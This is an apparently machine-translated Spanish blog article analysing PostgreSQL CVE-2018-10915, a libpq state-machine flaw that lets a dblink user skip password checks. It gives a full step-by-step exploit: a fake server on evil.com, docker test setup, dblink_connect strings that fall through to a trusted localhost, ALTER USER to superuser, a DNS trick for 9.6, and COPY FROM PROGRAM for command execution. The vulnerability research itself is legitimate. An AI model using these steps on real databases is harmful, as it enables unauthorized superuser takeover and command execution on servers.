
No es ningún secreto que los autos estatales están entre nosotros. Están literalmente en todas partes, desde la interfaz de usuario hasta la pila de red. A veces complejo, a veces simple. A veces relacionado con la seguridad, a veces no muy. Pero, a menudo, es bastante fascinante estudiar :) Hoy quiero hablar sobre un caso divertido con PostgreSQL: CVE-2018-10915 , que permitió aumentar los privilegios para el superusuario.
Pequeña introducción
Como saben, las bases de datos administradas le dan ritmo al mundo. No es sorprendente: si tiene una aplicación simple y no exigente, ¿por qué maldecir con la preparación de su propia base? De hecho, con la mayoría de los proveedores en la nube (o especializados), puede obtener una base de datos MySQL / PostgreSQL / MongoDB / etc. y vivir feliz para siempre. Por supuesto, esto causó problemas adicionales, ya que si antes, para explotar la mayoría de los problemas de seguridad en las bases de datos, primero tenía que obtener la aplicación (que en sí misma terminó en la mayoría de los casos), ahora culo desnudo su interfaz está para el atacante. Debería haber una observación sobre el hecho de que la próxima barrera debería ser una infraestructura de alta calidad y esto es cierto, pero hoy no se trata de eso.
La esencia de CVE-2018-10915
- En la mayoría de los casos, PostgreSQL no requiere autenticación para conexiones locales. Un ejemplo de la imagen oficial de docker:
# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust
- Gracias a las extensiones dblink y postgres_fdw , puede conectarse a bases de datos remotas. Y a juzgar por los foros, a los consumidores a menudo se les pregunta sobre su disponibilidad;)
- los autores ya fueron quemados en la escalada de privilegios, por lo que hicieron un truco prohibiendo conexiones sin autenticación:
- la máquina de estado establece el indicador
password_needed
después de recibir un mensaje AUTH_REQ_MD5
o AUTH_REQ_PASSWORD
del servidor libpq
puede omitir múltiples IP (pg 9.x) o hosts (pg 10.x / 11.x) en busca de un adecuado- la máquina de estado pasa a la siguiente IP / host después de configurar el indicador
password_needed
en dos casos convenientes para nosotros:
- queremos una sesión de escritura (
target_session_attrs=read-write
), y el servidor es de solo lectura - al recibir un error
unknown application_name
- al pasar a la siguiente IP / host, se llama pqDropConnection , que limpia de forma muy selectiva los datos de conexión (ya que algunos de ellos pueden ser necesarios para la reconexión). Sugerencia:
password_needed
no restablecida - Esto permite omitir la comprobación dblink_security_check, como cuando se conecta al siguiente host, la bandera permanece con el valor anterior
- BENEFICIO
Por lo tanto, si tenemos algún usuario con acceso a dblink
y PostgreSQL con conexiones confiables para este host, podemos omitir el requisito de autenticación con una contraseña, conectarnos en nombre del supervisor de postgres
y ejecutar cualquier cosa en su nombre (por ejemplo, comandos arbitrarios que usan COPY foo FROM PROGRAM 'whoami';
).
De la teoría a la práctica: ¡PostgreSQL 10.4!
Pero no te cansarás de una sola teoría, así que preparé un pequeño ejemplo de explotación de esta vulnerabilidad. Comenzaremos con PostgreSQL 10.4.
- Primero, escriba y ejecute un servidor PostgreSQL simple ( bogus-pgsrv ), que requerirá autenticación de contraseña para cualquier solicitud y enviará un error
ERRCODE_APPNAME_UNKNOWN
después de recibirlo:
$ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432?
- Ahora prepare la prueba PostgreSQL:
$ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL
- comprobamos que la
test
usuario no tiene derechos específicos:
$ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test
- excelente, ahora operamos:
$ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser
- Eso es todo. Podemos hacer lo que queramos ^ _ ^
De la teoría a la práctica: ¡PostgreSQL 9.6!
Con PostgreSQL 9.x, las cosas son un poco más complicadas, porque no admite enumerar la lista de hosts a los que conectarse. Pero si la dirección se resuelve en varias IP, ¡las omitirá a todas! Y desde Las direcciones IPv6 tienen prioridad (consulte RFC6724 ), podemos hacer lo mismo simplemente respondiendo nuestras IP a una solicitud AAAA y 127.0.0.1 a A + desconectando conexiones durante unos segundos después de enviar ERRCODE_APPNAME_UNKNOWN
:
$ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba
- ejecutar el mismo pgsql falso
- y prepare nuevamente la prueba PostgreSQL (IPv6 debería funcionar para el acoplador, esto es importante):
$ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL
$ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {}
- Eso es todo. Podemos hacer lo que queramos ^ _ ^
Conclusión
Quería concluir escribiendo algo inteligente, pero, desafortunadamente, no tengo una manera buena, simple y universal de verificar que todo esté bien con su máquina de estados. Hay varios intentos, pero, por lo que vi, están demasiado especializados o todavía se enfrentan a errores lógicos de la misma manera. Queda por esperar la vigilancia y un par de ojos adicionales en la revisión :(